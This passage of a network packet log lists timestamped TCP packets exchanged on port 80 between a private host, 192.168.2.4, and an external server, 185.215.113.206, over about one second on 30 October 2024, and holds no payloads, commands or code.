Oct 30, 2024 02:27:35.466846943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.466856956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.466860056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.466869116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.466880083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.466886997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.466892004 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.466905117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.466909885 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.466917992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.466928959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.466952085 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.466964960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.467324018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.467377901 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.506902933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.506926060 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.506937027 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.506968021 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.506994963 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.581552982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.581566095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.581576109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.581585884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.581629992 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.581677914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.581688881 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.581693888 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.581700087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.581712008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.581717968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.581736088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.581758976 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.581840038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.581851006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.581861973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.581872940 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.581887960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.581898928 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.581921101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.582020998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.582031965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.582041979 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.582063913 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.582087994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.582204103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.582215071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.582223892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.582251072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.582268953 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.582374096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.582386971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.582396030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.582406044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.582422972 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.582448006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.582655907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.582673073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.582684040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.582695961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.582700968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.582721949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.582745075 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.582807064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.582818031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.582828999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.582842112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.582853079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.582878113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.582956076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.582967997 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.583008051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.583097935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.583110094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.583120108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.583143950 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.583157063 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.583268881 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.583281040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.583290100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.583302021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.583322048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.583326101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.583333969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.583363056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.583589077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.583600044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.583611012 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.583621025 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.583633900 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.583641052 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.583664894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.583677053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.583897114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.583908081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.583918095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.583928108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.583939075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.583942890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.583950996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.583971977 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.583986044 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.584219933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.584232092 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.584240913 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.584252119 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.584261894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.584268093 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.584294081 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.584537029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.584549904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.584587097 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.584681988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.584693909 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.584705114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.584728956 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.584745884 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.584853888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.584865093 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.584875107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.584897041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.584908009 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.624542952 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.624557972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.624567986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.624582052 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.624592066 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.624612093 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.624653101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.624710083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.624720097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.624758005 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.698028088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698044062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698061943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698075056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698086023 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698103905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698147058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698151112 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.698188066 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.698204994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698216915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698230982 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.698261023 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.698308945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698321104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698355913 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.698358059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698369980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698379993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698385000 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.698404074 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.698426008 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.698466063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698477030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698532104 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.698550940 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698560953 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698571920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698590994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.698617935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.698709011 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698723078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698734045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698746920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698751926 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.698759079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698782921 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.698811054 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.698920965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698931932 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.698965073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.698972940 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.699012995 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.699044943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.699057102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.699068069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.699080944 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.699089050 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.699119091 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.699258089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.699270010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.699280977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.699295044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.699301004 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.699307919 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.699330091 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.699354887 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.699539900 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.699584007 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.739207029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.744669914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.024856091 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.024877071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.024897099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.024907112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.024919033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.024930954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.024954081 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.024981976 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.025057077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025068045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025078058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025095940 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.025114059 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.025180101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025191069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025202036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025214911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025218010 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.025224924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025238037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.025259018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.025420904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025432110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025441885 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025453091 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025464058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025466919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.025480986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.025507927 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.025652885 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025665045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025674105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025697947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.025710106 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.025737047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025748014 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025758028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025827885 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.025882006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025892973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025902987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025916100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025921106 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.025928020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025943995 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.025944948 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.025965929 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.025989056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.026099920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.026149988 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.026221991 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.026232958 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.026242971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.026252985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.026290894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.026314974 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.142276049 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.142333031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.142345905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.142426968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.142440081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.142457008 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.142486095 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.142589092 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.142601013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.142611980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.142621994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.142633915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.142635107 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.142653942 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.142677069 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.142746925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.142759085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.142785072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.142800093 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.142884970 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.142896891 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.142908096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.142920017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.142926931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.142931938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.142944098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.142946959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.142956018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.142967939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.142976999 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.142987013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.143008947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.143285990 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.143297911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.143309116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.143323898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.143333912 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.143343925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.143371105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.143372059 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.143398046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.143527985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.143539906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.143549919 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.143562078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.143572092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.143574953 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.143593073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.143593073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.143606901 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.143737078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.143748999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.143759012 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.143774986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.143800020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.143881083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.143892050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.143903017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.143914938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.143919945 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.143927097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.143934965 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.143939972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.143954039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.143965006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.143965006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.143978119 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.144006968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.144193888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.144206047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.144217968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.144228935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.144241095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.144243956 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.144258022 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.144289017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.144474983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.144485950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.144498110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.144509077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.144520044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.144526005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.144529104 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.144537926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.144546986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.144546986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.144575119 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.144588947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.186923981 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.186964989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.186994076 CET	49760	80	192.168.2.4	185.215.113.206
